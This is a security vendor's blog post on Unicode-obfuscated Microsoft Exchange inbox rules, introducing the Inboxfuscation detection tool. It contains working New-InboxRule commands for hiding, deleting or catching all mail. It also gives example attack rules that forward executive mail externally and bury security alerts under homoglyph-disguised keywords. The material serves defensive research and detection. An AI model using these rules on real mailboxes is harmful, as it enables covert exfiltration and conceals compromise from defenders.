---
title: "Inboxfuscation: Because Rules Are Meant to Be Broken"
description: Permiso launches Inboxfuscation, an open-source tool enabling organizations to detect Unicode-obfuscated Microsoft Exchange inbox rules and secure Microsoft 365.
---

[Latest research, product updates and best practices on staying secure in the cloud | Permiso ](https://permiso.io/blog)

# [Inboxfuscation: Because Rules Are Meant to Be Broken](https://permiso.io/blog/inboxfuscation-because-rules-are-meant-to-be-broken)

 Written by [Andi Ahmeti](https://permiso.io/blog/author/andi-ahmeti) | Sep 11, 2025 1:10:30 PM

Microsoft Exchange inbox rules have emerged as a critical attack vector for advanced persistent threat (APT) groups seeking to establish persistence and facilitate data exfiltration within enterprise environments. Our research introduces [Inboxfuscation](https://github.com/Permiso-io-tools/Inboxfuscation), a sophisticated Unicode-based obfuscation technique that is able to create malicious inbox rules that evade detection by traditional security monitoring systems.

This analysis examines the technical implementation of Unicode obfuscation in Exchange environments, demonstrates real-world attack scenarios, and provides actionable detection and mitigation strategies for security professionals.

The detection capabilities provided in the [Inboxfuscation](https://github.com/Permiso-io-tools/Inboxfuscation) framework are point-in-time per-mailbox detections and do not detect purposefully evasive, multi-step rule generation and sanitization behavior across the enterprise. This capability is part of [Permiso](https://permiso.io/product/)'s Arbiter Detection module, which analyzes both individual events and reconstructed conglomerate events grouped by rule ID, as shown below.

 

# **The Evolution of Email-Based Persistence**

### **Traditional Inbox Rule Attacks**

Historically, malicious inbox rules have been relatively straightforward to detect. Attackers would create rules with obvious keywords, usually paired with an action that deletes or forwards the message to an attacker-controlled mailbox.

```
New-InboxRule -Name "Cleanup" -SubjectContainsWords "password","admin","confidential" -DeleteMessage $true
```

Security teams could easily identify these threats through:

- Keyword-based detection rules
- Regular expression matching

# **The Unicode Obfuscation Revolution**

While traditional keyword evasion is already common, our research demonstrates that Unicode’s vast character space opens the door to far more advanced obfuscation. By carefully selecting characters that look identical to their ASCII counterparts, mailbox rules can be crafted to trick visual analysis by humans. Alternatively, Exchange’s behind-the-scenes functional normalization of a larger subset of these Unicode character classes to their related Latin characters enables rules that logically perform differently than their written syntax, providing significant evasion capabilities to all code-based detection mechanisms.

To date, we have not observed these techniques being used in the wild, but the feasibility of the approach highlights a critical blind spot for which defenders need to prepare.

Unicode's extensive character space (over 140,000 characters) provides numerous opportunities for visual deception. Our research identifies specific character categories that could enable sophisticated evasion:

### **1. Mathematical Alphanumeric Symbols**

- **U+D8335** MATHEMATICAL BOLD FRAKTUR
- **U+1D4B6** MATHEMATICAL SCRIPT SMALL
- **U+1D670 **MATHEMATICAL MONOSPACE

### **2. Zero-Width Characters**

Invisible characters inserted between legitimate letters:

- **U+200B** (Zero Width Space): admin
- **U+200C** (Zero Width Non-Joiner): ad‌min
- **U+200D** (Zero Width Joiner): ad‍min

### **3. Bidirectional Text Controls**

Right-to-left override characters that manipulate text rendering:

- **U+202E** (Right-to-Left Override): admin
- **U+2067** (Right-to-Left Isolate): ad⁧min⁩

### **4. Enclosed Alphanumerics**

Circled and squared character variants:

- **Circled**: ⓐⓓⓜⓘⓝ
- **Squared**: 🄰🄳🄼🄸🄽

# **Technical Research Framework**

### **Obfuscation Technique Categories**

Our research framework categorizes Unicode obfuscation into four primary techniques:

### **1. Character Substitution**

Replacing standard ASCII characters with visually similar Unicode variants:

Original: `confidential;secret`   
Obfuscated: `𝔠⁨⁩𝗈𝘯𝖿i‌𝖉‫‬𝐞‌𝑛‭‬ｔ𝑖ⓐ‭‬𝒍;ｓ⁨⁩e𝘤‌𝑟e𝘵`

### **2. Zero-Width Injection**

Inserting invisible characters that break pattern matching:

Original: secret Obfuscated: sec`\\u202B`ret (Zero-Width Spaces inserted)

### **3. Bidirectional Text Manipulation**

Using RTL controls to manipulate character ordering:

Original: secret Obfuscated: sec`\\u202E`ret → Renders as `secter` (RTL Override creating visual confusion)

### **4. Hybrid Techniques**

Combining multiple obfuscation methods for maximum evasion:

Original: malware Obfuscated: `𝗺𝒂\\u202B‮‬𝚕‌𝘸\\u202E⁧⁩𝗮‌𝗿‌𝗲` (Math + Zero-Width + RTL)

# Functional Obfuscation Tricks

During our research we found other functional obfuscation tricks such as:

- Forwarding emails directly into the Calendar folder. Once the emails land there, users are unable to view them. Outlook simply doesn’t expose them in a readable way.
  
  ```
  New-InboxRule -Name "Forward to Calendar"-SubjectContainsWords "security","admin","reset"-MoveToFolder ":\\Calendar"
  ```
- Creating an inbox rule with the condition `SubjectOrBodyContainsWords` and inserting the null character (\u0000) would break your inbox rules service, making it unviewable and unretrievable.
  
  ```
  New-InboxRule -Name "NullCharacter"-SubjectOrBodyContainsWords "`0"-MoveToFolder ":\\Deleted Items"
  ```
- Creating an inbox rule with any condition and inserting the white space character would mean that this inbox rule applies to all messages, since every email will contain at least one space character.
  
  ```
  New-InboxRule -Name "Apply To All"-BodyContains " "-MoveToFolder ":\\Deleted Items"
  ```
- Creating an inbox rule with the condition `BodyContainsWords` and inserting the null character (\u0000) would be converted to apply to all messages, meaning that the inbox rule would apply to any email.
  
  ```
  New-InboxRule -Name "Apply To All Unicode"-BodyContains "`0"-MoveToFolder ":\\Deleted Items"
  ```
- Creating an inbox rule with the condition `WithinSizeRangeMinimum` and inserting a value less than 1024 would essentially be converted to 0 bytes, stating that the condition will be satisfied if any message is larger than zero bytes, essentially meaning that the rule applies to all emails. This is an example of the PowerShell SDK allowing values not permitted in the UI (e.g. 1 KB) and the backend normalization of this sub-1024 value to 0 in the created rule.
  
  ```
  New-InboxRule -Name "Apply To All Size"-WithinSizeRangeMinimum 1023-MoveToFolder ":\\Deleted Items"
  ```

# **Theoretical Attack Scenarios**

### **Scenario 1: Advanced Persistent Threat (APT) Campaign**

**Hypothetical Objective**: Long-term data exfiltration from executive communications

**Potential Implementation**:

```
# Theoretical malicious rule (would appear normal in Exchange admin)New-InboxRule -Name "Executive Communications Archive"   -SubjectContainsWords "𝚋‮‬𝗈𝒂𝗿𝒹","𝖒‌𝖊‌𝖊‌𝗍‌𝗂‌𝗇‌𝗀","𝗆‌𝖊‌𝗋‌𝗀‌𝖊‌𝗋"   -MoveToFolder ":\Calendar"   -ForwardTo "backup-system@legitimate-sounding-domain.com"
```

**Evasion Characteristics**:

- Appears as standard archival rule to administrators
- Keywords will evade regex-based detections looking for the functional Latin-based equivalents of “board”, “meeting” and “merger” (even though the created rule will logically match these Latin-character terms)
- Moving email from Inbox to :\Calendar folder as a way of functionally “deleting” the email from most normal Inbox viewing
- External forwarding disguised as backup process

### **Scenario 2: Anti-Forensics Operation**

**Hypothetical Objective**: Prevent security alert visibility

**Potential Implementation**:

```
# Rule that silently forwards security notifications to a fake Inbox folder:New-InboxRule -Name "System Optimization"-SubjectContainsWords "ⓐ𝐥𝕖ⓡt","𝒾𝒏𝑐𝗂𝖽𝖊𝙣𝔱","𝐛ʳ𝖾𝔞𝖼𝔥"-MoveToFolder ":\Inbox "-StopProcessingRules $true
```

**Evasion Characteristics**:

- Appears as standard system optimisation rule to administrators
- Keywords will evade code-based detections looking for the functional Latin-based equivalents of `“alert”`, `“incident”` and `“breach”` (even though the created rule will logically match these Latin-character terms)
- Moving email from Inbox to `“:\\Inbox “` folder(with a trailing whitespace). This creates a visually identical mailbox folder that can trick defenders into overlooking the inbox rule.
- Prioritize this rule above other inbox rules.

# ****

# **Detection Framework Development**

### **Current Detection Limitations**

Standard security tools fail because they rely on:

- ASCII-based pattern matching
- Simple keyword detection
- Visual similarity assumptions
- Limited Unicode awareness

### **Detection Methodology**

**Traditional Approaches (Ineffective)**

```
Simple keyword matching - FAILSgrep -i "admin\\|password\\|confidential" exchange_rules.logBasic regex patterns - FAILS/admin|password|confidential/i
```

# **Advanced Detection Methodology**

Our research framework implements multi-layered detection:

### **1. Character Category Analysis**

Detect suspicious Unicode categories:

```
$suspiciousCategories = @('MATH_STYLES',           # Mathematical alphanumeric symbols'ZERO_WIDTH',            # Invisible spacing characters'RTL_CHARS',             # Bidirectional text controls'ENCLOSED_ALPHANUMERICS' # Circled/squared variants)
```

### 2. **Multi-Format Log Analysis**

- Parses JSON and CSV log files
- Supports Exchange export formats
- Pipeline input for Get-InboxRule output

# **Defensive Framework Implementation**

### **Log Format Compatibility**

The Inboxfuscation detection framework supports multiple Exchange log formats:

- **Runtime Logs**: Real-time rule execution events
- **Audit Logs**: Compliance and security monitoring records
- **Exchange Export**: Direct Get-InboxRule cmdlet output
- **Graph API Logs**: Microsoft 365 Security Center exports

### **Immediate Response Actions**

1. **Comprehensive Rule Audit: **
   
   Scan all mailboxes for Unicode obfuscation:
   
   ```
   Find-ObfuscatedInboxRules -Mailbox "user" -DebugOutput
   ```
2. **Historical Analysis: **
   
   Analyze audit logs for past compromise indicators:
   
   ```
   Find-ObfuscatedInboxRules -InputFile "audit-logs.json" |Where-Object {$_.RiskScore -gt 75} |Sort-Object RiskScore -Descending
   ```

### **Integration with Security Operations**

The framework provides structured output for SIEM integration:

```
{  "rule_name": "Executive Archive",  "mailbox": "ceo@company.com",  "risk_score": 145,  "suspicious_fields": ["SubjectContainsWords"],  "obfuscated_keywords": ["𝚋‮‬𝗈𝒂𝗿𝒹", "𝖒‌𝖊‌𝖊‌𝗍‌𝗂‌𝗇‌𝗀"],  "unicode_char_count": 23,  "external_forwarding": true}
```

# **Research Implications**

This research highlights critical gaps in current email security postures:

1. **Detection Blind Spots**: Most security tools cannot identify Unicode-based evasion
2. **Compliance Risks**: Obfuscated rules may not appear in audit reports
3. **Incident Response Challenges**: Traditional forensic methods miss Unicode complexity

# **Conclusion**

While these techniques have not yet been observed in active threat campaigns, the technical feasibility and detection challenges suggest they represent a future threat vector that security teams should prepare for today.

By developing proactive detection capabilities and understanding the technical mechanisms of Unicode obfuscation, organizations can stay ahead of potential attackers who may discover and weaponize these techniques.

The open-source [Inboxfuscation](https://github.com/Permiso-io-tools/Inboxfuscation) framework provides security teams with the tools needed to:

- Simulate similar obfuscated rules in their environment
- Detect the presence of obfuscated mailbox rules

# Permiso Coverage

For [Permiso](https://permiso.io/) customers, the following alert assists in detecting related threats:

| **Detection ID** |
| --- |
| P0_M365_EXCHANGE_INBOX_RULE_SELF_DESTRUCT_CONDITION_1 |
| P0_M365_EXCHANGE_INBOX_RULE_APPLY_TO_ALL_MESSAGES_UNICODE_1 |
| P0_M365_EXCHANGE_INBOX_RULE_APPLY_TO_ALL_MESSAGES_WHITESPACE_1 |
| P0_M365_EXCHANGE_INBOX_RULE_OBFUSCATION_1 |
| P0_M365_EXCHANGE_INBOX_RULE_WITHIN_SIZE_RANGE_1 |
| P0_M365_EXCHANGE_INBOX_RULE_LARGER_THAN_ZERO_1 |
| P0_M365_EXCHANGE_INBOX_RULE_MOVE_TO_UNUSUAL_FOLDER_1 |

 You can access Inboxfuscation on GitHub: [Inboxfuscation](https://github.com/Permiso-io-tools/Inboxfuscation)​

[View full post](https://permiso.io/blog/inboxfuscation-because-rules-are-meant-to-be-broken)

```json
{
  "@context" : "http://schema.org",
  "@type" : "BlogPosting",
  "author" : {
    "@type" : "Person",
    "name" : "Andi Ahmeti"
  },
  "dateModified" : "2025-11-28T06:40:54.102Z",
  "datePublished" : "2025-09-11T13:10:30Z",
  "headline" : "Inboxfuscation: Because Rules Are Meant to Be Broken",
  "image" : {
    "@type" : "ImageObject",
    "height" : 596,
    "url" : "https://20407698.fs1.hubspotusercontent-na1.net/hubfs/20407698/Inboxfuscation-1.png",
    "width" : 1784
  },
  "mainEntityOfPage" : "https://permiso.io/blog/inboxfuscation-because-rules-are-meant-to-be-broken",
  "publisher" : {
    "@type" : "Organization",
    "logo" : {
      "@type" : "ImageObject",
      "height" : 60,
      "url" : "/hs/hsstatic/content_shared_assets/static-1.4092/img/default-amp-logo.png",
      "width" : 60
    },
    "name" : "Cloud Chronicles"
  }
}
```